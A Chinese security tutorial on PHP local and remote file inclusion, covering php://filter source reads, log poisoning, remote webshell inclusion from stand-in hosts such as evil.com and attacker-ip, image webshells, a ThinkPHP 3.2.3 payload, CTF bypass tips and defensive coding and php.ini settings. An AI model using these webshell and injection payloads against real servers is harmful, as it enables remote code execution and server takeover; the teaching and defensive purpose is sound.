news 2026/7/28 13:16:23

PHP文件包含漏洞深度解析:从LFI到RFI的攻防实战与CTF案例

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP文件包含漏洞深度解析:从LFI到RFI的攻防实战与CTF案例

1. 项目概述:为什么文件包含漏洞是Web安全的“必修课”

在Web渗透测试和CTF竞赛的赛场上,PHP文件包含漏洞(File Inclusion Vulnerability)是一个经久不衰的核心考点。无论是初出茅庐的安全爱好者,还是经验丰富的红队成员,都必须深刻理解其原理、利用手法和防御策略。这个漏洞之所以重要,是因为它像一把“万能钥匙”,一旦存在,攻击者就可能从简单的本地文件读取(LFI),一路升级到危险的远程代码执行(RFI),最终完全控制服务器。我见过太多因为一个不起眼的include($_GET[‘page’])而全线崩溃的案例。

简单来说,文件包含漏洞源于PHP中includerequireinclude_oncerequire_once等函数对包含文件路径的过滤不严。攻击者可以操控这个路径参数,让服务器去包含并执行非预期的文件。从读取敏感配置文件(如/etc/passwd)到直接执行远程服务器上的恶意脚本,危害等级天差地别。近年来,随着CTF赛事的普及和题目难度的提升,围绕文件包含漏洞的利用技巧也层出不穷,比如结合PHP伪协议、日志注入、Session文件包含、甚至是利用临时文件等,这些都已经成为现代Web安全实战中的标准操作。

这篇文章,我将从一个实战演练的角度,带你从最基础的LFI开始,一步步拆解到复杂的RFI,并穿插解析最新的CTF实战案例。我的目标不是让你成为只会用工具的“脚本小子”,而是真正理解每一次点击、每一条命令背后的逻辑,知道为什么这个技巧有效,以及如何从防御者的角度去堵上这些漏洞。无论你是正在入门CTF的选手,还是希望提升代码审计能力的开发者,相信这篇深度解析都能给你带来实实在在的收获。

2. 漏洞原理深度剖析:不仅仅是“包含”那么简单

要打好攻防战,必须先理解战场。文件包含漏洞的核心在于“信任边界”的失控。PHP的设计初衷是为了提高代码的复用性,开发者可以将常用的头部、尾部、功能模块写成独立的文件,然后在需要的地方包含进来。问题就出在,这个“需要包含的文件路径”如果完全由用户输入控制,而开发者又没有进行严格的校验,那么整个文件系统的边界就对攻击者敞开了。

2.1 LFI(本地文件包含)的根源

LFI,即Local File Inclusion,攻击者只能包含服务器本地文件系统上的文件。它的典型代码缺陷长这样:

<?php $page = $_GET['page']; // 直接接收用户输入 include('/pages/' . $page . '.php'); // 拼接后直接包含 ?>

看起来,代码似乎限定了目录(/pages/)和后缀(.php)。但如果攻击者传入page=../../../etc/passwd%00呢?在古老的PHP版本(<5.3.4)中,%00(空字节)会截断其后的字符串,使得.php后缀失效,从而成功包含/etc/passwd文件。这就是经典的“空字节截断”漏洞。虽然现代PHP版本已修复此问题,但许多遗留系统或出题人为了“致敬经典”,仍会构造此类环境。

更常见的情况是,代码没有任何过滤:

<?php include($_GET['file']); ?>

这就意味着攻击者可以尝试包含任何路径:

  • /etc/passwd:读取系统用户列表。
  • /var/log/apache2/access.log:读取Web访问日志,可能包含攻击者注入的代码。
  • /proc/self/environ:包含环境变量,如果其中存在用户可控的HTTP头(如User-Agent),则可注入代码。
  • php://filter伪协议:这才是LFI真正的“王牌”,我们稍后详细讲。

注意:LFI的危害不仅仅是信息泄露。当它可以与文件上传、日志记录、Session存储等结合时,就为代码执行打开了大门,这被称为“LFI to RCE(远程代码执行)”。

2.2 RFI(远程文件包含)的致命性

RFI,即Remote File Inclusion,比LFI更危险。它允许攻击者包含远程服务器(如攻击者自己控制的服务器)上的文件。触发RFI需要满足一个关键条件:PHP配置中的allow_url_include选项设置为On(默认是Off)。在CTF题目或一些老旧、配置不当的生产环境中,这个条件可能被满足。

漏洞代码和LFI类似:

<?php include($_GET['url']); ?>

攻击者可以传入http://evil.com/shell.txt。PHP会去请求这个URL,并将返回的内容当作PHP代码来执行。shell.txt里只需要写一句<?php system($_GET[‘cmd’]);?>,一个WebShell就部署完成了。

RFI的利用之所以高效,是因为它分离了“攻击载荷”和“攻击入口”。攻击者无需费力在目标服务器上写入文件,只需要维护一个远程的恶意脚本即可。在实战中,如果看到allow_url_include=On的提示,几乎等同于宣告了服务器的“死刑”。

2.3 PHP伪协议:LFI的“瑞士军刀”

空字节截断成为历史后,PHP内置的各种伪协议(Wrapper)成为了LFI利用的主力军。它们不需要allow_url_include开启,因为它们是“本地”的协议处理器。最常用、最强大的是php://filter

它的基本语法是:php://filter/read=convert.base64-encode/resource=目标文件例如:?file=php://filter/read=convert.base64-encode/resource=index.php

为什么是Base64编码?直接包含一个.php文件,PHP引擎会执行它,我们只能看到执行结果(通常是空白或HTML)。而通过convert.base64-encode过滤器,我们可以将文件内容以Base64编码的形式读取出来,解码后就能获得完整的源代码。这对于代码审计和寻找其他漏洞至关重要。

除了convert.base64-encode,还有其他过滤器,如string.rot13string.toupper等,有时可以用于绕过简单的关键词过滤。php://input伪协议也值得一提,它允许你将POST请求的原始体作为PHP代码执行,但这通常需要allow_url_include=On

理解这些协议,就像拿到了文件包含漏洞的“武器库清单”。在接下来的实战环节,我们会反复使用它们。

3. 从LFI到RFI的实战攻防演练

理论讲得再多,不如亲手操作一遍。下面我们搭建一个简单的漏洞环境,进行从信息泄露到完全控制的全流程演练。我建议你在本地虚拟机或Docker环境中跟随操作,感受每一步的反馈。

3.1 环境搭建与基础LFI利用

首先,我们创建一个存在漏洞的脚本vuln.php

<?php // vuln.php - 存在文件包含漏洞的页面 if (isset($_GET['file'])) { include($_GET['file']); } else { echo "请通过file参数指定要包含的文件。"; } ?>

把它放在你的Web服务器根目录(如/var/www/html/)。同时,创建一个正常的页面/var/www/html/secret.php,内容为<?php $flag = “FLAG{LFI_TEST_123}”; ?>

第一步:基础文件读取访问:http://your-ip/vuln.php?file=secret.php你会发现页面是空白的,因为secret.php被当作代码执行了,$flag变量被定义但没有输出。

第二步:使用php://filter读取源码访问:http://your-ip/vuln.php?file=php://filter/read=convert.base64-encode/resource=secret.php页面会显示一串Base64编码:PD9waHAgJGZsYWcgPSAiRkxBR3xMRklfVEVTVF8xMjMiOyA/Pg==解码后(可用在线工具或echo ‘编码’ | base64 -d命令),得到<?php $flag = “FLAG{LFI_TEST_123}”; ?>。成功读取源代码!

第三步:读取系统文件尝试:http://your-ip/vuln.php?file=../../../../etc/passwd如果权限允许,你将看到系统的用户列表。这就是敏感信息泄露。

3.2 LFI到RCE的经典路径:日志文件注入

单纯的读取已经不能满足我们了,我们要执行命令。假设服务器是Apache,且日志文件默认位置可读。这是一个非常经典的技巧。

  1. 找到日志路径:通常为/var/log/apache2/access.log/var/log/httpd/access_log。你可以通过LFI读取/proc/self/fd/下的文件描述符或尝试常见路径来确认。
  2. 污染日志:我们向服务器发送一个请求,在HTTP头中注入PHP代码。因为User-AgentReferer等头信息会被记录到访问日志中。
    curl -H “User-Agent: <?php system($_GET[‘c’]);?>” http://your-ip/vuln.php
  3. 包含日志文件:现在,日志文件中已经有一行包含我们的恶意代码。通过LFI去包含这个日志文件:http://your-ip/vuln.php?file=/var/log/apache2/access.log&c=id如果成功,页面会显示命令id的执行结果(如uid=33(www-data) gid=33(www-data) groups=33(www-data))。

实操心得:日志文件通常很大,直接包含可能导致超时或内存不足。一个技巧是,在注入代码后,立即发送大量请求(例如用Burp Suite的Intruder),让我们的恶意日志行出现在日志文件的末尾附近,这样包含起来更快。另外,注意日志文件的权限,Web用户(如www-data)必须有读权限。

3.3 RFI实战:利用远程文件获取Shell

现在,我们修改PHP配置(仅用于实验!),开启RFI。在php.ini中设置allow_url_include = On并重启Web服务。

创建一个简单的恶意脚本,保存在另一台你可控的服务器上(或本地用Python启动一个HTTP服务),内容为:

<?php // evil.txt 放在 http://attacker-ip/evil.txt echo “Remote File Included!\n”; system($_GET[‘cmd’]); ?>

在漏洞页面直接包含它:http://your-ip/vuln.php?file=http://attacker-ip/evil.txt&cmd=whoami

如果配置正确,你将看到“Remote File Included!”和当前Web服务的运行用户信息。这意味着你已经可以通过URL参数远程执行任意命令,一个功能完整的WebShell已经就绪。

防御视角:作为开发者,看到这里应该脊背发凉。关闭allow_url_include是绝对必须的。同时,任何用户输入在进入includerequire函数前,都必须进行白名单校验或严格的路径过滤。

4. 高级利用技巧与CTF案例解析

CTF题目往往不会把漏洞赤裸裸地摆在你面前,它会加上各种过滤、限制,需要你利用更巧妙的技巧去绕过。下面结合近年的出题趋势,解析几个典型场景。

4.1 案例一:过滤了../php关键字

题目代码可能如下:

<?php $file = $_GET[‘file’]; if (strpos($file, ‘../’) !== false || strpos($file, ‘php’) !== false) { die(‘Hacker!’); } include($file . ‘.php’); ?>

它过滤了目录遍历符../php字符串,并强制添加了.php后缀。

绕过思路

  1. 利用编码php://filter中的php被过滤了。我们可以尝试使用大写PHP(如果系统大小写不敏感),或者使用URL编码%70%68%70(即php的URL编码)。但strpos通常是大小写敏感的。
  2. 利用PHP伪协议嵌套php://filter被过滤,但zip://phar://协议可能没有被考虑。我们可以将恶意脚本压缩成ZIP包,然后通过zip://archive.zip#shell.php的方式来包含。但这需要我们能上传一个ZIP文件。
  3. 利用数据流php://input需要allow_url_include,且其中的php也会被过滤。
  4. 利用日志/Session包含:如果过滤不检查/var/log/tmp这类路径,且我们能污染日志或Session,依然可以走LFI to RCE的路线。

更巧妙的姿势:利用filter链进行编码绕过即使php被过滤,我们也可以尝试其他协议。但出题人可能只允许包含.php结尾的文件。这时,一个被称为“过滤器链”的技巧非常有用。我们可以利用php://filterconvert.iconv.过滤器进行字符集转换,将我们想要的Payload进行多次转换,最终绕过关键字检查。这需要对字符编码有较深的理解,在高端CTF中时有出现。

4.2 案例二:ThinkPHP等框架下的文件包含

在一些CTF题目或真实世界审计中,你可能会遇到类似“thinkphp3.2.3 { fast & simple oop php framework }”这样的提示。ThinkPHP 3.2.3版本曾存在一个因路由解析导致的文件包含漏洞。

漏洞大致源于框架在解析路由时,对控制器名的处理不当,导致可以将\转换为/,从而进行目录遍历。Payload可能形如:?s=Index/\think\Template/display&content=<?php phpinfo();?>

这类漏洞的特点是:

  • 入口点隐蔽:不是直接的include($_GET[‘file’]),而是通过框架的机制触发。
  • 需要了解框架:你必须知道ThinkPHP的模板引擎是如何工作的,display方法可能会包含哪些文件。
  • 过滤规则复杂:框架自带的过滤可能拦截了常见Payload,需要找到其盲点。

实战思路:遇到框架,先去搜索其历史漏洞。对于ThinkPHP 3.2.3,这个包含漏洞是已知的。在CTF中,出题人可能稍作修改,但核心原理不变。你需要做的就是构造出正确的参数,让框架的代码路径执行到那个有问题的包含语句上。

4.3 案例三:结合文件上传的图片WebShell

这是非常常见的组合拳。题目允许你上传图片,但会对文件内容进行检测(如图片头校验),防止直接上传PHP文件。同时,存在一个本地文件包含点。

攻击链

  1. 制作一个图片WebShell:在一张正常图片的末尾,添加PHP代码<?php system($_GET[‘c’]);?>。可以使用copy命令(Windows)或cat命令(Linux)拼接。
    cat normal.jpg shell.php > webshell.jpg
  2. 上传webshell.jpg,获得其存储路径,如/uploads/abc123.jpg
  3. 利用文件包含漏洞去包含这个图片文件:?file=/uploads/abc123.jpg
  4. 如果服务器配置不当(如未配置exif_imagetype过滤,或PHP版本较低),它会直接执行图片文件末尾的PHP代码。更稳妥的方式是,结合php://filterconvert.base64-decode等过滤器,剥离图片数据,只解码执行我们附加的Base64编码后的Payload。

注意事项:现代PHP环境和Web应用防火墙(WAF)对这种简单的图片马检测很严格。更高级的做法是将Payload隐藏在图片的EXIF信息中,或者使用更复杂的图像格式混淆。在CTF中,这通常考察你对文件格式和PHP执行流程的理解。

5. 防御方案与安全开发实践

攻防一体,了解了如何攻击,才能更好地防御。作为开发者,必须从源头杜绝此类漏洞。

5.1 输入验证:白名单优于黑名单

绝对不要使用黑名单过滤../php等关键词。攻击者的绕过方法无穷无尽(编码、嵌套、冷门协议)。唯一可靠的方法是白名单

<?php $allowed_pages = [‘home’, ‘about’, ‘contact’]; $page = $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./templates/’ . $page . ‘.php’); } else { include(‘./templates/404.php’); } ?>

只允许包含预定义好的文件,其他任何输入都返回错误或默认页面。

5.2 固定目录与后缀

如果必须动态包含,也应将目录固定,并强制添加后缀。

<?php $base_dir = ‘/var/www/html/includes/’; $file = basename($_GET[‘file’]); // 使用basename去掉路径 $path = $base_dir . $file . ‘.inc.php’; // 可选:再次检查路径是否仍在安全目录内 if (strpos(realpath($path), $base_dir) === 0) { include($path); } else { die(‘非法访问!’); } ?>

这里用了basename()防止目录遍历,用realpath()解析真实路径并检查其是否以安全目录开头。

5.3 安全配置:关掉危险选项

php.ini中进行全局安全配置:

  • allow_url_include = Off永远关闭远程文件包含。
  • allow_url_fopen = Off:根据业务需要决定,关闭可以增加安全性。
  • open_basedir:设置PHP可以访问的目录范围,将其限制在Web目录所需的最小路径内,例如open_basedir = /var/www/html:/tmp
  • display_errors = Off:生产环境务必关闭错误显示,防止路径等敏感信息泄露。

5.4 框架与安全库

使用现代PHP框架(如Laravel, Symfony),它们有成熟的路由和视图加载机制,一般不会出现这种低级的动态文件包含。如果自行开发,可以考虑使用安全函数库来校验路径。

5.5 代码审计与自动化扫描

将安全作为开发流程的一部分。进行定期的代码审计,重点关注所有包含用户输入的文件操作函数(include,require,file_get_contents,fopen等)。使用静态代码分析工具(如phpcs配合安全规则、RIPS、Fortify SCA)进行自动化扫描,捕捉潜在漏洞。

6. CTF实战中文件包含漏洞的解题思路总结

在CTF赛场上,时间就是分数。面对文件包含类题目,可以遵循以下排查思路,快速定位突破口:

  1. 确认漏洞点:寻找include,require等函数,其参数是否用户可控($_GET,$_POST,$_COOKIE等)。
  2. 判断类型:尝试读取/etc/passwdphp://filter读取自身源码,确认是LFI。尝试包含一个不存在的远程URL(如http://test.test),观察错误信息是否显示allow_url_include相关提示,判断RFI可能性。
  3. 探测过滤规则:尝试输入各种Payload(../,php://,data://,zip://,phar://,./,…/./等),观察返回信息是die(‘Hacker!’)、空白还是错误,以此推断后台过滤了哪些关键词或协议。
  4. 寻找可利用的中间文件
    • 日志文件:尝试包含/var/log/apache2/access.log,并尝试污染User-Agent
    • Session文件:如果题目有登录功能,Session文件(通常位于/tmp/sess_[PHPSESSID])内容可能部分可控(如存储用户名)。
    • PHP临时文件:在上传文件时,PHP会生成临时文件,生命周期极短,利用条件苛刻,但在一些极端CTF题目中会出现。
    • /proc/self/environ:环境变量,可能包含可控的HTTP头。
  5. 尝试编码绕过:如果过滤了php,尝试大小写、双写phphp、URL编码、Hex编码、Base64编码等。利用convert.iconv.*过滤器进行字符集转换绕过。
  6. 结合其他漏洞:查看是否有文件上传点,上传图片马。查看是否有SSRF漏洞,利用其去读取内网文件再包含。查看框架类型,搜索历史漏洞。
  7. 利用伪协议php://filter读源码是必选项。data://协议(需allow_url_include=On)可以直接在参数中写入Base64编码的Payload,如data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
  8. 最终目标:无论是读取/flag/root/flag文件,还是执行命令find / -name flag*,最终都是为了获取那个唯一的Flag。

文件包含漏洞的魅力在于它的多样性和与其他漏洞强大的组合能力。从最初级的目录遍历到复杂的过滤器链编码绕过,它考验着攻击者对Web服务器、PHP语言特性、操作系统和编码知识的综合理解。对于防御者而言,它则是一个永恒的警示:永远不要信任用户输入,最小化攻击面,安全配置与安全编码同等重要。希望这篇近万字的深度解析,能成为你Web安全实战道路上的一块坚实垫脚石。在下次遇到include($file)时,你一定能立刻意识到它背后可能隐藏的腥风血雨。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/28 13:14:51

RRT算法在机器人路径规划中的Matlab实现与优化

1. 项目概述&#xff1a;RRT算法在路径规划中的应用 RRT&#xff08;快速扩展随机树&#xff09;算法是机器人路径规划领域的经典方法&#xff0c;特别适合解决高维空间中的复杂避障问题。我第一次接触这个算法是在开发仓储机器人导航系统时&#xff0c;当时需要一种能在动态环…

作者头像 李华
网站建设 2026/7/28 13:14:47

Codex Cowart本地部署指南:无限画布AI绘画插件安装与配置

如果你还在用传统AI绘画工具,每次生成图片都要反复修改提示词、调整参数、重新生成,那么今天这个工具可能会彻底改变你的工作流。Codex Cowart插件带来的“指哪改哪”无限画布功能,让AI绘画从“生成-重试”的循环变成了“绘制-编辑”的实时协作。 最近在开发者社区和AI绘画…

作者头像 李华
网站建设 2026/7/28 13:12:19

Langflow 系列 | 第 22 篇:文件、变量与凭据管理

上一篇文章分析了 Flow 的发布、分享与部署。 发布出去的 Flow 不再只面对编辑器里的用户,它会被 Playground、API、Webhook、Widget 或外部部署平台调用。 这时运行时会遇到三个很现实的问题: 用户上传的文件放在哪里? Flow 里的变量如何在运行时解析成真实值? API Key、…

作者头像 李华
网站建设 2026/7/28 13:12:17

Age:现代文件加密工具,替代GPG的简洁方案

1. 项目概述&#xff1a;为什么我们需要一个GPG的现代化替代品&#xff1f;如果你和我一样&#xff0c;在过去的十年里处理过文件加密、签名或者密钥交换&#xff0c;那么GPG&#xff08;GNU Privacy Guard&#xff09;这个名字对你来说一定不陌生。它几乎是开源世界加密通信的…

作者头像 李华
网站建设 2026/7/28 13:11:54

AI编程资源套餐技术接入指南:从API调用到生产环境集成

在实际 AI 编程辅助工具的使用中,开发者常常面临一个核心痛点:如何以稳定、低成本的方式,持续获得高质量的代码生成、解释和调试服务。各大云厂商和 AI 公司推出的各类“Coding Plan”套餐,正是瞄准了这一需求,承诺提供高性价比的模型调用额度。然而,当这些套餐以“限时”…

作者头像 李华